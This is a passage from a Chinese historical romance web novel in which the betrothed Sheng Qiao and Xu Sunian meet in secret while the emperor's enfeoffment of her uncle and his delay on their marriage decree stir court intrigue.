一切的一切他们都忘记了,完全沉浸在彼此之间营造的柔情春水之中。
直到盛乔再次抬手时,正巧打在桌子最边缘的一个青玉摆件上,盛乔低低的哎呦一声,徐肃年连忙握住她的手想要检查,却忘了顾及桌边的摆件,等反应过来要去捞的时候,那摆件已经掉到地上了。
不知是不是屋子里太过安静,哐当一声巨响把两个人都吓到了,也引来了院子里伺候的婢女。
“小娘子,您怎么了?”
房门很快被敲了敲,紧跟着响起琉璃的声音。
盛乔几乎窒住了,下意识去推徐肃年的身子让他从自己身上起来,然后才慌慌张张地朝外面喊:“我,我没事……”
徐肃年虽然略抬了抬身子,实际根本没有从盛乔身上站起来,尤其是停在盛乔腰间的手,仍旧停在那里,温热的触感刚才还让人痴迷,现在就让人紧绷起了心弦。
盛乔生怕自己漏了馅,又不敢出声,只能使劲瞪着徐肃年,试图用眼神警告他不要乱来。
殊不知徐肃年看到这眼神之后,更是心动,他单身撑到桌面上,然后眼疾嘴快地在她的唇上轻啄了一口。
和方才勾勾缠缠的亲吻不同,这一下真的是一碰即分,但也因为分的太快,亲的时候颇有些用力,发出了极为暧昧的一声。
盛乔下意识唔了一声,然后想到琉璃她们还在外面,连忙用手捂住嘴巴,然后用眼神质问:“你这是要干什么?”
徐肃年低头,含着笑意在她耳边说了一句,“情不自禁,小娘子原谅我罢。”
他可以压低了声音,嗡嗡的有些痒,再加上喷出来的温热呼吸,盛乔觉得自己的耳朵都像是被包裹了似的,又酥又麻。
她一只手捂住耳朵,一只手捂住徐肃年的嘴巴,不想让他再开口说话。
幸而门板还算隔音,琉璃并没有察觉到盛乔声音的异样,又关切了几句便退下了。
听着她离开的脚步声,盛乔总算松了口气,只是没敢放松,又默默听了许久的动静,才终于松开了捂在徐肃年嘴巴上的手指,然后抓着他的袖子从桌子上坐了起来。
方才的旖旎气氛瞬间散了个无影无踪,徐肃年看着眼前的盛乔,无声地叹了口气。
许是离得太近,盛乔敏锐地察觉到了他的情绪变化,蹙着眉毛问道:“你叹什么气?”
徐肃年看着小娘子鲜妍俏丽的模样,揽着她的腰,低头埋在她的肩窝处,然后很是沮丧的说了一句,“真想明天就把你娶回家。”
其实徐肃年甚少有这样直白热烈的表达自己情绪的时候,相对于盛乔来说,他的性格毕竟还是更内敛一些。
也正是因此,盛乔听到这话才会觉得更新奇,更惊讶。
原本盛乔还因为自己今日过于失态而懊恼,可此时听到徐肃年如此直白热烈的心意,她忽然什么都不想计较了。
但盛乔不想让自己显得太不矜持,于是说道:“陛下还没有赐婚呢。”
原本是要等的,可此时此刻,徐肃年觉得自己的所有耐心都被耗干了,“你我原本就有婚约,何必非要等他赐婚。”
“你……”
盛乔原本都有些忘了这事,此时听到徐肃年再度提到赐婚之事,又忍不住有些生气,“你心里也知道,你我之间的事,何必闹到陛下那里,万一,万一惹怒了陛下怎么办?”
那日在皇城门口,徐肃年就知道盛乔一定是知道了什么,但具体是怎么知道的他还没问。
正好此时提起来,徐肃年问:“阿乔,是谁对你说了什么?这些事你怎么知道的。”
盛乔却不答反问:“你明明可以告诉我这些,为何一直瞒着我不让我知道?”
徐肃年叹口气,说:“难道我要你背负着这些嫁给我吗?”
他认真地看着盛乔,说:“我希望你开心。”
没想到他会说出这么一番话,盛乔有些感动,一时竟有些说不出话来,过了好半天才低声说道:“可是,你不该拿自己的前程做赌注。”
徐肃年不愿她想太多,于是故意曲解她的意思,问道:“难道我没了前途,小娘子就不愿意嫁给我了?”
盛乔立刻否认,“当然不会……”
听到她如此急切的否认,徐肃年勾了勾唇,然后伸手将她搂在怀里,大手在她的发顶摩挲着,说:“有了你这句话,就足够了。”
盛乔也没再说话,乖乖依偎在他的胸口,明明还隔着衣物,却仿佛能听到心脏跳动的声音。
于是两人就这样靠在书桌边坐了好一会儿,直到底下人来敲门请盛乔去用膳,盛乔才回过神来,看向窗外渐落的夕阳,惊觉两人竟然已经在房间里待了这么久。
虽然大家平时都有各自的院子,但每日晚膳都会到主院明辉堂去用,尤其昨天大哥大嫂也回府了,平时偷懒不去也就罢了,但是盛乔今日无论如何都必须去明辉堂用膳的。
虽然有些不舍,但盛乔还是推了推徐肃年的胳膊,示意他放开自己,“我要去用晚膳了,你也该回家了。”
徐肃年也明白,他松开环着盛乔的手臂,口中仍旧依依不舍道:“陛下特许我最近在家休养,不必去府衙报道,明日我还来找你,如何?”
盛乔当然也是想和他见面的,可他们现在毕竟是在长安城,在守备森严的燕国公府。
就算徐肃年有本事能翻越院墙不被人发现,可他次次都能躲开守卫吗?
万一他偷偷跑到荣雪园的事被阿爹阿娘知道了,只怕她一辈子也不想见人了。
于是她立刻拒绝道:“不行,不许。”
方才会说出那话,实际也是冲动之言,徐肃年当然知道盛乔要顾及什么,不说别的,若是他们私下见面的事传出去,只怕流言蜚语能把盛乔整个人埋起来。
他如何能为了自己一己私欲而半点都不顾及盛乔呢。
最重要的是,他现在已经越来越管不住自己的私欲了。
从前在他眼中,夫妻之间最亲近的一对陌生人,虽然会做那些私密的事,但也只是为了繁育子嗣,为了传宗接代。
但当他遇到盛乔之后,他才终于明白,什么叫情难自制。
只要靠近她,看到她,便会燃起浑身的欲望。
可偏偏两人还没成婚,他不能对她做什么。
这一连串的道理徐肃年很明白,他也愿意为了盛乔忍耐克制,可若是不借此装模作样的在盛乔跟前讨要一番,那就不是他了。
于是,徐肃年假装不明白,问道:“为何?”
说这话时,他还一边搂着盛乔的腰,一边让自己半个身子都靠在盛乔的肩膀上。
怕压坏了盛乔,因此他并没有用力,只是微微使劲,让盛乔能感受到他的重量。
盛乔果真从这个动作中感觉到了徐肃年的依赖,就好像看到一只威风凛凛的头狼低头变成了一只毛茸茸的家犬,让她满足,也让她心软。
于是,她干脆主动地在徐肃年的下巴处亲了一下,然后说道:“万一被别人看见怎么办?你以后不
许再翻墙过来了。”
徐肃年不怎么情愿的点了点头,表示甚为失落。
盛乔一看到他这个表情,就立刻心软了,说道:“过几天丹宁长公主会在公主府办一场花宴,正好今日阿娘送了帖子给我,你说,我到时候要不要去?”
徐肃年在官场中一向独来独往,平时很少参加交际聚会,就连丹宁长公主在府内筹办的,他也多半不会现身参加。
因为他知道,阿娘的宴会之所以每次都会请来那么多年轻漂亮的女郎,目的是为了给他早日定下婚事。
徐肃年没有成婚的意愿,因此每次都是拒绝,他以为自己这辈子都不会参加宴会了,没想到盛乔居然递给他了一个暗示般的邀约。
他当然答应。
今晚他原本是打算宿在大理寺的,但是为了这件事,特意又公主府住了。
他是在外面独自用过膳之后才回去的,耽搁了一点时间,导致回去的太晚,担心丹宁长公主已经睡下了,就没有打扰。
直到第二天晨起,才规矩地向丹宁长公主请了安。
丹宁长公主见到他明显有些意外,“少安,你这么早怎么在家,可用过早膳了?”
其实还没有,但徐肃年还是点了点头,然后婉拒了,“我已经吃过了,今日来是有事想求母亲。”
就知道他没事是不会来的。丹宁长公主心里有些惆怅,但还是立刻问道:“什么事?”
徐肃年说道:“自从我向陛下请旨赐婚之后,陛下便再也没有理会过我。”
他眉眼难得带着点年轻人特有的急切,犹豫半晌还是说道:“所以,我想请母亲替我……”
他话未说完,丹宁长公主就已经懂了,“你想让我帮你旁敲侧击地催促陛下快些下旨为你指婚。”
徐肃年点点头,同时很浅的勾了下唇,纵然转瞬即逝,但也足够丹宁长公主惊讶了。
或许儿子真的是长大了,到了娶妻生子的年纪。几个月前还冷淡表示没有任何娶妻意愿的人,现今竟会主动请她去求陛下早些定日子。
丹宁长公主叹了口气,说道:“好,我答应你,明日就进宫去见陛下。”
再次回到长安之后,盛乔发现自己的确变了。从前她几乎每天都待在燕国公府里,虽然偶尔会有些孤单,因为没有人能陪她玩,但从来没有想过要出门去交际。
可是现在,她这才几天没出门,竟然开始觉得院子里闷了。
当然不止是她惊讶,就连身边的琥珀等人也觉得很是不可思议,“小娘子竟然又是主动想出门了。”
“小娘子今天是想去哪?”
盛乔想了想,却始终说不出一个地方来,当然也因为她从前很少出门。
正犹豫着,忽然听到院门口传来一阵急匆匆的脚步声,主仆几人同时抬头看过去。
过来的是郑夫人身边的冬岁,大约是一路跑过来的,她的额角还带着明显的汗渍。
盛乔见她这模样,险些以为是阿娘出了什么事,嚯的一下从椅子上跳起来。
不料关切的话还没开口,就听冬岁朝她福了福身,然后说道:“小娘子,陛下身边的庆和公公亲自来府中宣旨,如今几位郎君都已经到明辉堂了,只差您一个了。”
“娘子吩咐我请您过去一块接旨。”
50-60
第51章 危机伴君如伴虎
“娘子吩咐我请您过去一块接旨。”
听到冬岁这话,盛乔不由得一愣,圣旨?
这时候是什么圣旨?
难道是赐婚的圣旨?
盛乔有些惊讶,又有些隐秘的欣喜,但不想在冬岁面前表现的太明显,于是飞快抿了抿唇,然后朝冬岁点了点头,“既如此,我们快走罢。”
御前大太监庆和亲自传旨,盛怀义和郑夫人携全家到中庭接旨,就连怀有身孕的崔氏都来了。
盛乔来得最慢,见此立刻快步走过去站到了三哥三嫂后面。
见全家都到齐了,庆和立刻抖开圣旨——
“门下:
宣威大将军、兵部左侍郎盛怀章,勒石燕然,铭功钟鼎,夙夜匪懈,尽忠王事,顷者番邦来犯,逐突狼奔……”
盛乔在听到宣威将军这四个字的时候就蒙了,若不是伏跪在地上,怕是所有人都要看到她震惊的表情。
原来不是赐婚,是她想多了。
盛乔有一瞬间的失落,但又很快疑惑起来,这圣旨提到二叔,应当是最近二叔新立了战功加以奖赏,可圣旨难道不应该直接送到边关去吗?
她心中疑惑,又不敢抬头,只能听太监继续念道:“今册尔为一品侯,封号忠勇,食邑一千五百户,另赐忠勇侯府,永业田三十亩……”
竟然是给二叔封了侯爵?
不止是盛乔,就连跪在她身边的盛淙也十分惊讶,虽然看不到表情,但是盛乔离得近,能清晰看到他扶在地上的手指动了动。
圣旨很快念完,庆和亲自将盛怀义扶起来,然后将圣旨交到了他的手上,笑着说:“公爷是陛下的肱骨之臣,忠勇侯更是功勋卓著,贵府一门两爵,实在是公爷的福气啊。只是如今侯爷和家眷都不在京中,届时等忠勇侯府建成,要请公爷多多费心了。”
圣旨里除了对盛怀章的封赏,更有对老国公和老夫人的追封,盛怀义恭领圣旨,客气道:“庆公公说笑了,这本就是臣下的本分,怀章能得陛下嘉奖,也是我这做兄长的荣耀。”
庆和又笑着恭维了几句,然后才带人离开了燕国公府。
盛怀义转身,大郎盛泽和三郎盛淙已经扶着几个女眷站起来了。
盛怀义看了一眼怀有身孕的大儿媳,到底没说什么,只道:“虽还有圣旨会送到你二叔那,我也要给他写封信,你们都回去罢。”
盛泽和盛淙对视一眼,拱手应是,盛泽扶着妻子先走,盛乔则和三哥、三嫂一起转身回去。
看着女儿转身的背影,盛怀义本想把她叫回来嘱咐几句,但还是顿住了。
其实在看到庆和来传旨的时候,他第一反应也以为那是指婚的圣旨,可没想到竟是给怀章封侯的旨意。
一瞬间的愣怔之后,他瞬间明白了皇帝的意思。
当年随着太祖打天下的七家早已倒的倒,散的散,只有盛家还屹立不倒,再加上这些年盛怀章军功卓著,盛家实在已经足够显赫,即便陛下不会有动盛家的念头,也会感觉到威胁。
但现在陛下给怀章封了侯,明面上是给盛家添尊,实际上是直接将盛家拆成了两府,一个燕国公府,一个忠勇侯府。
尤其他这个燕国公空有爵位,在朝中官职不高,又无实权,而新封的忠勇侯既有兵权又有陛下的宠信,届时所有盯着燕国公府的目光都会渐渐倾斜到忠勇侯府去。
长久一来,燕国公府的地位必将一落千丈。
只是,陛下为何偏在这时候下这道旨意呢。
是对他先前装傻的惩罚,还是因为徐肃年那封请旨赐婚的折子。
盛怀义猜不透,也不确定皇帝到底会不会赐婚,本想说几句安慰女儿,又怕说多错多,干脆什么都别说了。
一旁的郑夫人亦是名门出身,在燕国公府掌家多年,如何不懂其中深意,两人对视一眼,都从对方眼中看到了担心。
盛怀义扶着郑夫人往回走,一路沉默无言。
郑夫人本也一直没说话,但最后还是忍不住问了一句,“你说,端阳侯会不会后悔?”
从前盛怀章没有封爵,那他的荣耀连带着燕国公府的荣耀,所有人都会将他
们视作一体,但是此时盛怀章单独立府,盛怀章可是有自己的亲生儿女的,盛乔背后所代表的东西瞬间被削减,一个空有名望的燕国公府,徐肃年可否还会放在眼里?
郑夫人担心徐肃年会因此轻视了盛乔。
儿女们不在,盛怀义脸色也有些不好看,他不只担心盛乔,更担心陛下如今已经有了要打压盛家的心思。
但听了郑夫人这话,盛怀义立刻便把眼里担忧的情绪压了下去,笑着安慰道:“哪有那么快?何况你也太瞧不起你的夫君了?就算怀章日后自立门户,阿乔还是我盛怀义的女儿,是这燕国公府唯一的小娘子,难道徐肃年还敢欺负了她不成?”
郑夫人听了这话,却仍高兴不起来,她还想再说什么,盛怀义在她肩上拍了拍,然后说道:“好了,别担心那么多了。先前我特意让三郎将徐肃年回京的消息透给阿乔,你没瞧见她的反应吗?她的心里也是有徐肃年的。”
“只要她开心就好,我若是还没能力保护他,这国公也趁早不必做了。”-
盛乔根本不知道父母在替她担心什么,更不知道这一次的封赏背后还藏着那么复杂的深意,她心里既为二叔开心,又莫名有些不安。
距离徐肃年请旨赐婚的事已经过去很久了,但是迟迟不见陛下下旨赐婚。
会不会,陛下根本没有打算赐婚?
其实他心里还没有放弃一开始的念头,他不会还想让自己入宫罢?
有些想法不能有,一想就无法再将思绪抽回,盛乔几乎整晚都沉浸在纠结的思绪里,她忽然有些害怕,想见一见徐肃年-
封侯是件大事,因此陛下的圣旨在传到燕国公府之后,便很快宣付史馆,布告天下。
徐肃年当晚就知道了这道旨意,相较于丹宁长公主的惊讶来说,徐肃年更多的是担心。
他很清楚皇帝的心思,也知道陛下现如今是绝对没有任何心力再拔除一个燕国公府的,毕竟惠国公府就算削弱,在朝中仍有数不清的枝蔓,若想一一斩断,没有那么容易。
陛下还需要留着燕国公府来打压朱家。
那为何要在这时下一道圣旨呢,难道只因为他那封请婚的折子。
君心难测,徐肃年发现自己竟然也不能完全猜到崇安帝的心思。
徐肃年真想现在就进宫一问究竟,只是天色已晚,何况圣旨已下,没有任何收回的余地,他就算进宫知道了答案,也根本不会改变任何事。
总之明天就是早朝的日子。
徐肃年想着明天早朝后,再请见陛下,不料第二日他才刚刚换好朝服,还没有走出丹宁公主府的大门,就见庆和带人迎面走了过来。
徐肃年微微一愣,还没开口,庆和已经上前朝他行礼,“侯爷。”
徐肃年已经整理好表情,平和地问:“庆公公怎么一大早来了?”
庆和笑着朝他躬身,问道:“侯爷这是去上朝?”
听他这话,徐肃年就已经隐约猜到了他此行过来的用意,于是没说话。
果然,庆和道:“陛下知道侯爷一向勤勉,但他又实在担心您的身体,怕您伤势还未痊愈,吃不消,因此特意早早打发了奴婢过来传话,让您在家好好休息,最近都不必去上朝了。”
徐肃年当时把握着分寸,只受了一点小伤,纵使因为那日在雨中罚跪得了风寒,这几日休养也早就好了。
前几日不见关心,如今已经过去这么多天,却忽然传话让他不必上朝。这到底是关心还是变相的软禁,徐肃年很清楚其中含义。
徐肃年敛住眉间情绪,问庆和:“那大理寺的公务?”
庆和捋了捋拂尘,恭敬道:“侯爷放心,陛下已安排盛少卿暂代正职,侯爷这段时间就在家好好休息罢。”-
盛乔难得想见徐肃年,可公主府的宴会还有好几日,盛乔想来想去,想到了自己的三哥盛淙。
他和徐肃年都在大理寺任职,可是大理寺她自己肯定不能进去,只能让盛淙带他去了。
平日盛淙都是酉时过到家,盛乔怕三哥说自己无事献殷勤,于是特意提前两刻钟就到了盛淙的院子。
只有三嫂赵氏在,赵氏年纪小,和盛乔没差几岁,两人一向很有话聊,见到盛乔过来,也很高兴,拉着盛乔给她看自己最近新买的几匹绸缎。
姑嫂两人说说笑笑,时间过的很快。盛乔一边和三嫂说话,一边偷瞄窗外,可直到酉时都过了,才终于看到盛淙的身影。
“三哥……”
盛乔和赵氏一起跑出去,看到满脸倦容的盛淙,忍不住问道:“三哥,你今天回来的怎么这么晚?”
盛淙揉了揉眉心,说:“端阳侯几个月不在,衙门积压了不少案子,这几日只怕都要这么忙了。”
盛乔有些心疼自家兄长,还有些不满徐肃年,不由得问道:“那徐肃年呢?”
盛淙叹了口气,说:“他还在养伤,陛下昨日特意将我召了去,让我这段时间暂代他的职位。”
盛淙并不知徐肃年请旨的事,只以为他是真的受了重伤,才会这么久都不能处理公务。
盛乔更不懂其中的弯弯绕绕,也以为徐肃年是旧伤复发,心里愈加担心起来。
不过这话她没对盛淙讲,又关心了兄长几句,便起身告辞回自己的院子了。
她心中愈发担心,可又不能贸然上门去找徐肃年,毕竟徐肃年平时是住在长公主府,她担心惊动了长公主,只能数着日子等长公主殿下的宴会。
再等等,还有三天。
第52章 丹宁好像在偷情
先帝的女儿本就不多,丹宁长公主又与当今圣上一母同胞,是他唯一一的嫡亲妹妹,在整个长安城的地位都很特殊。
因此丹宁长公主的宴会,只要能稍稍攀上关系的,都会来凑这个热闹。
燕国公府自然是早早就收到了帖子,不过郑夫人虽然第一时间把帖子转给了盛乔,实际上心里根本没想着她会去,毕竟盛乔一直都不怎么爱出门。
可没想到,真到了宴会那日,盛乔竟然比她起得还早。
郑夫人一早更衣装扮好之后,想打发冬岁去盛乔的荣雪园瞧瞧,看盛乔有没有起来。
不料冬岁还没出门,盛乔倒是先带着琥珀过来了,“阿娘。”
郑夫人看到她还愣了一下,“阿乔,怎么这么早,可用过早膳了?”
盛乔点了点头,说:“今日不是有丹宁长公主的宴会么?所以我便早早起来了。”
盛乔一向不爱交际,今日愿意陪她去参加宴会,也是醉翁之意不在酒。郑夫人当然知道她为的是什么,但也正是因为知道,所以心里更加惊讶。
那日盛怀义的话仿佛还在耳边回想——“只要阿乔开心就好。”
郑夫人一直有些担心,但是此时此刻,她感受到了女儿的变化,知道她心里对徐肃年也的确是喜欢的。
只要阿乔自己心里愿意,那她还有什么可担心的。
郑夫人想着,将一对儿红宝石耳坠戴上,然后对盛乔说:“公主府的宴会不能迟到,走罢,我已经叫人提前备好马车了。”
因为有盛乔在,郑夫人便没有再特意待上两个儿媳妇,毕竟两个人一个身怀有孕,一个在学着掌管家事,再去赴宴也实在忙不过来。
丹宁公主府离着燕国公府不算远,穿过延寿房没多久,就能看到丹宁公主府的宅邸,虽然离着门口还有好一段距离,但是附近车来车往,不用问也知道那都是来赴宴的宾客。
她们来得已经算早了,没想到竟然还有这么多人。
不过到底燕国公府是不一样的,盛家的马车一到,是长公主身边的贴身女官亲自带进去的。
郑夫人年少时曾为丹宁长公主的伴读,两人关系十分亲近,没有出阁时,还曾开玩笑说要让未来的儿女结成亲家,因此当时要给盛乔尽快订婚时,她第一个想到的就是丹宁长公主。
一是因为长公主和皇帝是亲兄妹,皇帝再急不可耐,总不能和自己亲妹妹开口,去抢亲侄子的未婚妻。
第二就是,虽然长公主是皇室,但驸马只是个清贵,虽然因为尚公主的缘故,被封了个侯爷,但实际上在朝堂并无根基,自己也只是一个科举出身的文官,而且家中没有妾室,三个儿子都是长公主所生,家里关系简单。
最后就是她和长公主相交多年,最清楚长公主的为人,绝对不会是刁难媳妇的恶婆婆,女儿后半生衣食无忧。
更没想到两家如今竟然真的定了亲。
郑夫人一进了公主府,便第一时间带盛乔去给长公主请安。
这不是盛乔第一次见到丹宁长公主,也不是她第一次来到
丹宁公主府,先前相看的那段日子,她随着母亲来过很多次,丹宁长公主一家都认了个遍,连忙于朝政的驸马都见过了,只有徐肃年一次都没见过。
不过长公主时常在她面前提起自己的长子,夸他专于公事,有上进心。
她当时还根本不明白丹宁公主和阿娘的想法,不知道她们是有撮合的意思,心里还在想,难怪这徐肃年年纪轻轻能做到大理寺卿的位置,比自家三哥的官职还高,原来是这么热爱公务的一个人。哪像他三哥,每天按时点卯,准时下职,也难怪不能升官呢。
想到自己那时的想法,盛乔不由得有些想笑,才刚扬起唇角走进屋子,就看到了在长公主身边坐着的徐肃年。
她微微一愣,还没反应就被阿娘轻轻扯了一下袖子。
盛乔这才回过神来,上前先给长公主见了礼,“参见公主殿下。”
丹宁长公主不等她伏下去,就给身边的婢女使了个眼色,两人上前一个扶住郑夫人,一个扶住盛乔。
丹宁长公主道:“多少次了,怎么还与我这般见外。”
郑夫人也没说什么,只笑着应声。
丹宁长公主将视线递向站在身后的盛乔,亲热道:“阿乔,过来。”
盛乔下意识先看了郑夫人一眼,然后才走到丹宁长公主的身边。
早已有眼力见的婢女搬了凳子放到丹宁长公主的身边。
丹宁长公主拉住了她的手,握着她在自己身边坐下,然后对她介绍道:“阿乔,这是我的长子徐肃年,你还是第一次见到他罢。”
丹宁长公主并不知道盛乔逃婚的事,否则也不会用这样随和的语气同她说话。
一直以来,丹宁长公主都对自己很好,盛乔想到自己当时逃婚的行为,此时莫名有些心虚,她悄悄觑了坐在另一侧的徐肃年一眼,然后飞快收回视线,小幅度地点了点头,“是……”
丹宁长公主不知道盛乔是在心虚,只以为她是年轻害羞,笑了笑说:“你们已有婚约,现又没有旁人在,只有我和你阿娘在,害羞什么。”
要说在这长安城,要说谁是过得最如意顺遂的人,丹宁长公主说第二,便再没有一个人敢说第一了,便是陛下也不如她,每天有那么多事要忙着管着,反观丹宁长公主,则清闲多了。
也正是这样的生活,让她的性子十分温柔随和。虽然郑夫人也很好,但是丹宁长公主比郑夫人更多了几分少女般的纯挚,盛乔每次看到丹宁长公主,心里就会忍不住想,公主殿下平时一定生活得特别幸福。
盛乔喜欢和丹宁长公主这样的人说话,像是一道温暖的柔光披在身上,让人心里都是软软的。
但也正是这样,盛乔心里越发愧疚,低着头不敢说话。
从徐肃年的角度看过去,只能瞧见盛乔柔软的发顶,他当然能猜到盛乔心里在想什么,只是当着丹宁长公主的面,也实在不能安慰什么,干脆直接站起身,说:“想来我在这让盛三娘子不自在了。”
他朝丹宁长公主拱了拱手,“阿娘,儿子先失陪了。”
说完又朝郑夫人客气地示意了一下,这才起身告辞。
徐肃年离开之后,盛乔明显松了口气,连一直低着的脑袋都微微抬起来一些。
丹宁长公主见她这模样颇有些无奈,朝着郑夫人说:“阿乔哪都好,就是这性子太过文静,宜秋,你平日该多带她出来才对。”
丹宁长公主是不清楚这两人之间发生过什么,可是郑夫人却对两人的关系心知肚明,也知道徐肃年在这时候离开,就是不动声色地给盛乔解围。
她忽然想起最开始要和丹宁公主府联姻时,盛怀义原本是更看中徐家二郎徐肃景。
那时徐肃年刚立了新功,被陛下封为了端阳侯,盛怀义下朝回家与她提起此事——
“夫人在内宅不知道,今日公主府的这位世子又立了件大功,陛下一高兴,竟然直接封他为端阳侯,如今,他的爵位甚至比他父亲还高了。”
“这,这……”郑夫人当时听到也是愣了愣,“我早听说陛下十分宠爱这外甥,可这,是不是有点太过了些?”
盛国公叹道:“风头太盛了。”
这下,郑夫人也不知道说什么了。
盛家百年氏族,祖辈是随太祖一起打天下的七位国公之一,封号为“燕”。
如今百年过去,当年声名赫赫的“七公府”死的死败的败,盛氏却能将燕国公的爵位传承不倒,这除了有盛家人才辈出的原因外,盛家人低调谨慎,从不结党的家训亦十分重要。因此,盛家子女结亲,从不在那烈火烹油里面挑人。
郑夫人何尝不明白这一点,只是,“现如今还有比他更合适的人吗?”
盛国公沉默半晌,忽然问:“上次你去参加丹宁长公主府的马球赛,你可见到长公主的几位公子了?”
“没见到世子肃年,两个小的倒是见到了。不过我瞧着殿下的意思,还是想让阿乔许给大儿子。”郑夫人一边说着,一边转切去打量盛国公的表情。
盛国公却没什么反应,只是问道:“夫人怎么想?”
“她家三郎才十岁就不必说了,二郎今年十七,倒是和阿乔年岁相当,可我今日见了他,总觉得太稚气了些。”
郑夫人有些无奈,“你也知道咱们家阿乔的性子,说好听了是天真善良,说不好听了就是一点心眼没有,若是日后再配一个和她同样性格的夫君……”
说到这,郑夫人顿了顿,似乎是在想象这样的画面,片刻后摇了摇头,“我实在想象不出来。”
“夫人说的在理。”盛国公思索着点了点头。
郑夫人说:“倒是她家世子,我今日虽然没见着,但上个月我与殿下一道去忻和郡主府赴宴,他曾来接殿下回府,我远远瞟了一眼,高大挺拔,器宇轩昂,全然不像驸马那种手无缚鸡之力的文弱书生,看着是个可靠的。”
“何况,他也不过是比咱们阿乔大了四岁罢了,还是大一点的男人会疼人。”
大约是被这话说服了,总之盛怀义也没再挑剔,就此默许了这桩婚事。
不过郑夫人自己其实也没见过徐肃年几次,她虽然时常来丹宁公主府,可大多时候,徐肃年都不在,就算是在,也从不会来长公主身边打扰。
虽然不知道他今日怎么这么恰好就在家,但郑夫人看到他方才看盛乔的眼神,隐约也能猜到些什么。
她想,自己当时的想法没有错,徐肃年的确是会照顾人的。
可看着自家那万分羞涩女儿,她又忍不住担心起来,阿乔脸皮这么薄,只怕日后成婚,要被夫君拿捏得死死的。
想到这,她便忍不住叹了口气,
盛乔和丹宁长公主都不知道郑夫人心里在想什么,两人絮絮说着话,当然大多时间都是丹宁长公主问,盛乔乖乖地答。
丹宁长公主没有女儿,只有三个儿子,除了长子还算稳重,剩下两个一个比一个不让人省心。但这唯一懂事的长子又逐渐不与她亲近,外人看着光鲜,实际丹宁长公主心里也很是愁苦。
偏偏大儿子又是个沉默寡言的性子,丹宁长公主就算想与他说什么,也是被冷冰冰地碰回来。
如今忽然见到一个又软又乖的盛乔,长公主无处安放的慈母之心仿佛一下子有了着落,怎么看怎么喜欢。
只是阿乔今天的衣裳是不是太素净了,一身水绿色的衫子,
连珠宝首饰都没带多少,今天宴会上会来那么多高门贵府的小姐,她家阿乔可不能被比下去。
于是,丹宁长公主直接从自己腕子上褪了个金镯子下来,然后拉住盛乔的手,给她戴了上去。
盛乔被她这举动吓了一跳,下意识就要推拒,丹宁长公主却按着她的手不让她动,“好孩子,你今天穿得这么素,这金镯子给你装点装点,长者赐,不能赐,你可不许不收。”
盛乔有些不知所措,看向一旁的郑夫人。
对于盛家这样的府邸,一个小小的金镯并不是什么稀罕物,但郑夫人一看就知道盛乔手腕上这只却有不同,金累丝中空剔透,华丽古朴;点翠贴嵌的雀羽色泽鲜亮,根根分明;雀目的位置嵌以珍珠,每颗都是同样大小,分外明润。
看这样式,只怕是丹宁长公主从前的嫁妆。
能把当年的嫁妆镯子随手褪下来,可见长公主对自家女儿是真心喜欢。
郑夫人心里既感动又有些愧疚,半晌点了点头,“既然是殿下送的,就收着罢。”
盛乔只好站起身,很不好意思地道谢:“多谢长公主殿下赏赐。”
丹宁长公主拍了拍她的手,说:“去罢,我和你阿娘在这儿说说话,我让雪绒带你去花园里玩。”
雪绒可是长公主的贴身婢女,盛乔如何敢让她陪着自己,连忙推拒,“我自己去就好了。”
郑夫人忍不住道:“公主府的花园可是不小,你这孩子没去过几次,可别迷了路。”
女儿年纪小,性子又单纯,平时不出门,郑夫人难免多关切几句,可是长公主还在上头坐着,不想被当成小孩儿,闻言双颊一红,心里不服气,小声辩驳道:“我已经长大了。”
虽然她刻意压低了声音,但丹宁长公主还是听到了,笑着摇了摇头,说:“去罢,总归是在府里,丢不了的。有雪绒在她心里也拘束,由着他去罢。”
盛乔开心地应下,但在一刻多钟后,盛乔第三次经过那株黄色蔷薇时,才发现自己竟然真的迷路了。
虽然早知道丹宁公主府占地级广,但是盛乔没想到这花园里竟然种了这么多的蔷薇花,眼下正是蔷薇盛开的季节,盛放连绵,灿若朝霞,不远处还有一方粼粼的湖水,湖面映着木芙蓉艳丽的花影,天边金光一照,便是盛乔也忍不住被吸引了。
湖面澄净,湖边的草地亦是青翠干净,只是周边实在太安静了,这偌大花林,除了偶尔传来的几句下人们的闲谈,便只有秋风拂过树叶的簌簌声响。
盛乔觉得这里的每一株蔷薇花都长得差不多,她本是想找个地方坐一会儿的,可走着走着就在里面绕晕了,怎么也找不到来时的路。
她试图分辨方向,却根本不记得方才是从哪走过来的,这里的每棵树都好像长得一模一样,走了半天只是原地踏步。
她有些沮丧,又有些着急,最后干脆不去管了,总之周围美景无边,她干脆让自己沉下心来去欣赏花园里的景色。
她今日穿得是一身绿衫,正巧看到墙角种着一片绿蔷薇,盛乔好奇地走过去,想要攀折一枝。
徐肃年过来的时候,正看到这如画的一幕——
墙角吉祥缸旁,身着绿衫的小女郎正努力踮起脚尖,想要去摘那迤逦在墙头的蔷薇花。
只是那枝花太高了,又长着刺,盛乔实在够不到,尝试了几次后,不由得有些沮丧。
她专注地想要摘花,根本没注意到周围的情形,也没有听到身后的脚步声。
正努力抬手去够的时候,忽然从后面伸来一只白皙有力的大手,帮她将那枝绿蔷薇轻巧折下。
盛乔先是一愣,而后立刻忍住了那只手的主人,转头一看,果然的徐肃年。
她正要说话,忽然不远处传来一阵窸窣的脚步声,仿佛是有人过来了。
徐肃年眼疾手快地捂住她的嘴,将她拉进了身后的花丛中。
徐肃年的力气很大,盛乔只能被她拽着走,根本没有挣扎的余地,大约也是怕周围有花刺会碰到她,徐肃年将她抱的很紧。
“今天连福成郡主都来了……”
“快走吧快走吧……别耽误了事……”
……
两个婢女边说话,边从这里走过去。
在这个陌生狭小的空间里,盛乔被锁在徐肃年怀里,听着外面人的交谈,身后就是徐肃年粗重的呼吸声。
盛乔忽然生出一个极为离谱的念头——她和徐肃年,好像在偷情。
第53章 偷情谢陛下赐婚
她和徐肃年,好像在偷情。
盛乔自己都不知道自己怎么会生出这样的念头,只是耳尖悄悄地红了。
徐肃年比她高,又是在后面搂着她,能清晰地看见她轻颤的睫毛,和微微泛红的耳垂。
外间的婢女还未走远,徐肃年低头压着声音问道:“怎么了?”
虽然徐肃年刻意压着声音,但盛乔仍是担心外面的人会听到,不敢说话,只偏头狠狠地瞪了身后的徐肃年一眼。
她是恼羞成怒,可是徐肃年看着她这模样,不仅没放开手,反而变本加厉地将她拉到自己怀中。
他在盛乔震惊的视线中,微微低头,在她耳畔落下一吻。
如羽毛轻轻划过,盛乔先是觉得痒,捂着耳朵想要把他推开,没想到徐肃年愈发过分,原本还只是在她耳垂上亲了一下,亲完却没有离开,反而勾着她的耳廓,轻轻舔。舐起来。
